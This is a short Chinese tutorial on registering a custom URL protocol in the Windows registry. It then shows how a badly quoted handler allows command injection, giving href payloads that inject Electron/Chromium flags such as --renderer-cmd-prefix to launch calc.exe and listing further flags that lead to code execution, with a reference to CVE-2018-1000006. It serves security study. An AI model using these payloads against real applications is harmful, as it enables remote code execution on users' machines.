Windows配置註冊表註冊僞協議
一、新建僞協議項
WIN+R 輸入regedit 打開註冊表,在註冊表HKEY_CLASSES_ROOT鍵中新建一個項,項的名字就是你僞協議的名字,例如我註冊一個cmd協議。
![](http://static.javashuo.com/static/loading.gif)
而後不用管默認字符串值,新建一個叫URL Procotol的字符串值,值爲空便可。
shell
二、新建shell項
在cmd協議項中新建一個項 , 叫作shell,這個名稱不能改。默認字符串值爲空
windows
三、新建open項
在shell項中新建一個項 , 叫作open,這個名稱不能改。默認字符串值爲空
api
四、新建command項
在open項中新建一個項 , 叫作command,這個名稱不能改。默認字符串值爲可執行文件路徑和參數等
安全
遠程命令執行漏洞
根據這個地方的參數引號閉合狀況去構造payload,相似SQL注入測試
- 是%1 則payload:href='cmd://123 --renderer-cmd-prefix="cmd.exe /c start calc.exe" '
- 要是「%1」則payload:href='cmd://123" --renderer-cmd-prefix="cmd.exe /c start calc.exe '
效果(備註這裏須要使用IE內核測試):
![](http://static.javashuo.com/static/loading.gif)
其餘引發RCE的參數以下:
- --renderer-cmd-prefix
- --gpu-launcher
- --utility-cmd-prefix
- --ppapi-plugin-launcher
- --nacl-gdb
- --ppapi-flash-path
- --ppapi-flash-args
參考文獻:
Electron 自定義協議命令注入(CVE-2018-1000006)分析和 Url Scheme 安全考古3d